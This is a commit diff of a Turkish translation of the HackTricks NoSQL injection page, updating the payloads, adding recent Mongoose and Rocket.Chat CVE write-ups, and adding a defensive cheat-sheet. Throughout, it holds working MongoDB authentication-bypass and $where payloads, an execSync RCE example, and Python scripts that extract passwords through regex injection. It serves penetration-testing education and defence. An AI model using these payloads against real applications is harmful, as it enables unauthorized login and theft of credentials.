mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/nosql-injection.md'] to tr
This commit is contained in:
parent
19fb7071c8
commit
0139f74cb3
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## Exploit
|
## Exploit
|
||||||
|
|
||||||
PHP'de gönderilen parametreyi _parameter=foo_ yerine _parameter\[arrName]=foo_ olarak değiştirerek bir Dizi gönderebilirsiniz.
|
PHP'de, gönderilen parametreyi _parameter=foo_ yerine _parameter[arrName]=foo_ olarak değiştirerek bir Dizi gönderebilirsiniz.
|
||||||
|
|
||||||
Sömürü, bir **Operator** eklemeye dayanmaktadır:
|
Sömürü, bir **Operator** eklemeye dayanmaktadır:
|
||||||
```bash
|
```bash
|
||||||
@ -19,7 +19,7 @@ username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non
|
|||||||
```
|
```
|
||||||
### Temel kimlik doğrulama atlatma
|
### Temel kimlik doğrulama atlatma
|
||||||
|
|
||||||
**Eşit değil ($ne) veya daha büyük ($gt) kullanma**
|
**Eşit değil ($ne) veya büyük ($gt) kullanma**
|
||||||
```bash
|
```bash
|
||||||
#in URL
|
#in URL
|
||||||
username[$ne]=toto&password[$ne]=toto
|
username[$ne]=toto&password[$ne]=toto
|
||||||
@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
|
|||||||
```javascript
|
```javascript
|
||||||
query = { $where: `this.username == '${username}'` }
|
query = { $where: `this.username == '${username}'` }
|
||||||
```
|
```
|
||||||
Bir saldırgan, `admin' || 'a'=='a` gibi dizeleri girerek bunu istismar edebilir ve sorgunun, bir tautoloji ile koşulu sağlayarak tüm belgeleri döndürmesini sağlar (`'a'=='a'`). Bu, `' or 1=1-- -` gibi girdilerin SQL sorgularını manipüle etmek için kullanıldığı SQL enjeksiyon saldırılarına benzer. MongoDB'de, `' || 1==1//`, `' || 1==1%00` veya `admin' || 'a'=='a` gibi girdiler kullanılarak benzer enjeksiyonlar yapılabilir.
|
Bir saldırgan, `admin' || 'a'=='a` gibi dizeleri girerek bunu istismar edebilir ve sorgunun, bir tautoloji ile koşulu sağlayarak tüm belgeleri döndürmesini sağlar (`'a'=='a'`). Bu, SQL sorgularını manipüle etmek için `' or 1=1-- -` gibi girdilerin kullanıldığı SQL enjeksiyon saldırılarına benzer. MongoDB'de, `' || 1==1//`, `' || 1==1%00` veya `admin' || 'a'=='a` gibi girdiler kullanılarak benzer enjeksiyonlar yapılabilir.
|
||||||
```
|
```
|
||||||
Normal sql: ' or 1=1-- -
|
Normal sql: ' or 1=1-- -
|
||||||
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
||||||
@ -76,9 +76,9 @@ in JSON
|
|||||||
...
|
...
|
||||||
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
|
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
|
||||||
```
|
```
|
||||||
### PHP Rastgele Fonksiyon Çalıştırma
|
### PHP Keyfi Olmayan Fonksiyon İcraatı
|
||||||
|
|
||||||
Varsayılan olarak kullanılan **$func** operatörü ile [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) kütüphanesi, [bu raporda](https://swarm.ptsecurity.com/rce-cockpit-cms/) olduğu gibi rastgele bir fonksiyon çalıştırmak mümkün olabilir.
|
Varsayılan olarak kullanılan **$func** operatörü ile [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) kütüphanesi aracılığıyla, [bu raporda](https://swarm.ptsecurity.com/rce-cockpit-cms/) olduğu gibi keyfi bir fonksiyonu icra etmek mümkün olabilir.
|
||||||
```python
|
```python
|
||||||
"user":{"$func": "var_dump"}
|
"user":{"$func": "var_dump"}
|
||||||
```
|
```
|
||||||
@ -88,7 +88,7 @@ Varsayılan olarak kullanılan **$func** operatörü ile [MongoLite](https://git
|
|||||||
|
|
||||||
Farklı bir koleksiyondan bilgi almak için [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) kullanmak mümkündür. Aşağıdaki örnekte, **`users`** adlı **farklı bir koleksiyondan** okuma yapıyoruz ve bir joker karakterle eşleşen şifreye sahip **tüm girişlerin sonuçlarını** alıyoruz.
|
Farklı bir koleksiyondan bilgi almak için [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) kullanmak mümkündür. Aşağıdaki örnekte, **`users`** adlı **farklı bir koleksiyondan** okuma yapıyoruz ve bir joker karakterle eşleşen şifreye sahip **tüm girişlerin sonuçlarını** alıyoruz.
|
||||||
|
|
||||||
**NOT:** `$lookup` ve diğer toplama fonksiyonları, arama yapmak için `find()` veya `findOne()` fonksiyonları yerine `aggregate()` fonksiyonu kullanıldığında yalnızca mevcuttur.
|
**NOT:** `$lookup` ve diğer toplama fonksiyonları, arama yapmak için `find()` veya `findOne()` fonksiyonları yerine `aggregate()` fonksiyonu kullanıldıysa yalnızca mevcuttur.
|
||||||
```json
|
```json
|
||||||
[
|
[
|
||||||
{
|
{
|
||||||
@ -110,11 +110,45 @@ Farklı bir koleksiyondan bilgi almak için [**$lookup**](https://www.mongodb.co
|
|||||||
```
|
```
|
||||||
### Hata Tabanlı Enjeksiyon
|
### Hata Tabanlı Enjeksiyon
|
||||||
|
|
||||||
`throw new Error(JSON.stringify(this))` ifadesini bir `$where` koşuluna enjekte ederek, sunucu tarafı JavaScript hataları aracılığıyla tam belgeleri dışa aktarın (uygulamanın veritabanı hatalarını sızdırması gerekir). Örnek:
|
Inject `throw new Error(JSON.stringify(this))` bir `$where` ifadesine, sunucu tarafı JavaScript hataları aracılığıyla tam belgeleri dışa aktarmak için (uygulamanın veritabanı hatalarını sızdırması gerekir). Örnek:
|
||||||
```json
|
```json
|
||||||
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
|
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
|
||||||
```
|
```
|
||||||
## MongoDB Yükleri
|
## Son CVE'ler ve Gerçek Dünya Sömürmeleri (2023-2025)
|
||||||
|
|
||||||
|
### Rocket.Chat kimlik doğrulaması yapılmamış kör NoSQLi – CVE-2023-28359
|
||||||
|
Versiyonlar ≤ 6.0.0, kullanıcı kontrolündeki **selector** nesnesini doğrudan `find()`'e ileten Meteor yöntemini `listEmojiCustom` açığa çıkardı. `{"$where":"sleep(2000)||true"}` gibi operatörler enjekte edilerek, kimlik doğrulaması yapılmamış bir saldırgan zamanlama oracle'ı oluşturabilir ve belgeleri dışarı sızdırabilirdi. Hata, 6.0.1'de selector şeklinin doğrulanması ve tehlikeli operatörlerin çıkarılmasıyla düzeltildi.
|
||||||
|
|
||||||
|
### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 & CVE-2025-23061
|
||||||
|
`populate()` `match` seçeneği ile kullanıldığında, Mongoose (≤ 8.8.2) nesneyi MongoDB'ye göndermeden *önce* kelimesi kelimesine kopyaladı. Bu nedenle `$where` sağlamak, sunucu tarafında JS devre dışı bırakılmış olsa bile JavaScript'i **Node.js içinde** çalıştırıyordu:
|
||||||
|
```js
|
||||||
|
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
|
||||||
|
Post.find()
|
||||||
|
.populate({ path: 'author', match: req.query.author }); // RCE
|
||||||
|
```
|
||||||
|
İlk yamanın (8.8.3) üst düzey `$where`'ı engellemesi, ancak bunu `$or` altında yerleştirmenin filtreyi aşmasına neden olması, CVE-2025-23061'e yol açtı. Sorun 8.9.5'te tamamen düzeltildi ve yeni bir bağlantı seçeneği `sanitizeFilter: true` tanıtıldı.
|
||||||
|
|
||||||
|
### GraphQL → Mongo filtre karışıklığı
|
||||||
|
`args.filter`'ı doğrudan `collection.find()`'a ileten çözücüler savunmasız kalmaya devam ediyor:
|
||||||
|
```graphql
|
||||||
|
query users($f:UserFilter){
|
||||||
|
users(filter:$f){ _id email }
|
||||||
|
}
|
||||||
|
|
||||||
|
# variables
|
||||||
|
{ "f": { "$ne": {} } }
|
||||||
|
```
|
||||||
|
Mitigations: `$` ile başlayan anahtarları özyinelemeli olarak kaldırın, izin verilen operatörleri açıkça haritalayın veya şema kütüphaneleri (Joi, Zod) ile doğrulayın.
|
||||||
|
|
||||||
|
## Defensive Cheat-Sheet (updated 2025)
|
||||||
|
|
||||||
|
1. `$` ile başlayan herhangi bir anahtarı kaldırın veya reddedin (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`).
|
||||||
|
2. Kendinize ait MongoDB'de sunucu tarafı JavaScript'i devre dışı bırakın (`--noscripting`, v7.0+ varsayılan).
|
||||||
|
3. `$where` yerine `$expr` ve toplama oluşturucularını tercih edin.
|
||||||
|
4. Veri türlerini erken doğrulayın (Joi/Ajv) ve skalarların beklendiği yerlerde dizilere izin vermeyin, `[$ne]` hilelerini önleyin.
|
||||||
|
5. GraphQL için, filtre argümanlarını bir izin listesi aracılığıyla çevirin; asla güvenilmeyen nesneleri yaymayın.
|
||||||
|
|
||||||
|
## MongoDB Payloads
|
||||||
|
|
||||||
List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
|
List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
|
||||||
```
|
```
|
||||||
@ -182,7 +216,7 @@ if 'OK' in r.text:
|
|||||||
print("Found one more char : %s" % (password+c))
|
print("Found one more char : %s" % (password+c))
|
||||||
password += c
|
password += c
|
||||||
```
|
```
|
||||||
### POST girişinden brute-force kullanıcı adları ve şifreleri
|
### Brute-force login kullanıcı adları ve şifreleri POST girişinden
|
||||||
|
|
||||||
Bu, değiştirebileceğiniz basit bir betiktir, ancak önceki araçlar da bu görevi yerine getirebilir.
|
Bu, değiştirebileceğiniz basit bir betiktir, ancak önceki araçlar da bu görevi yerine getirebilir.
|
||||||
```python
|
```python
|
||||||
@ -193,6 +227,7 @@ url = "http://example.com"
|
|||||||
headers = {"Host": "exmaple.com"}
|
headers = {"Host": "exmaple.com"}
|
||||||
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
|
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
|
||||||
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
|
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
|
||||||
|
|
||||||
def get_password(username):
|
def get_password(username):
|
||||||
print("Extracting password of "+username)
|
print("Extracting password of "+username)
|
||||||
params = {"username":username, "password[$regex]":"", "login": "login"}
|
params = {"username":username, "password[$regex]":"", "login": "login"}
|
||||||
@ -225,9 +260,10 @@ for u in get_usernames(""):
|
|||||||
get_password(u)
|
get_password(u)
|
||||||
```
|
```
|
||||||
## Araçlar
|
## Araçlar
|
||||||
|
|
||||||
- [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
|
- [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
|
||||||
- [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
|
- [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
|
||||||
|
- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL)
|
||||||
|
- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli)
|
||||||
|
|
||||||
## Referanslar
|
## Referanslar
|
||||||
|
|
||||||
@ -236,5 +272,7 @@ get_password(u)
|
|||||||
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
|
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
|
||||||
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
|
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
|
||||||
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
|
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
|
||||||
|
- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
|
||||||
|
- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user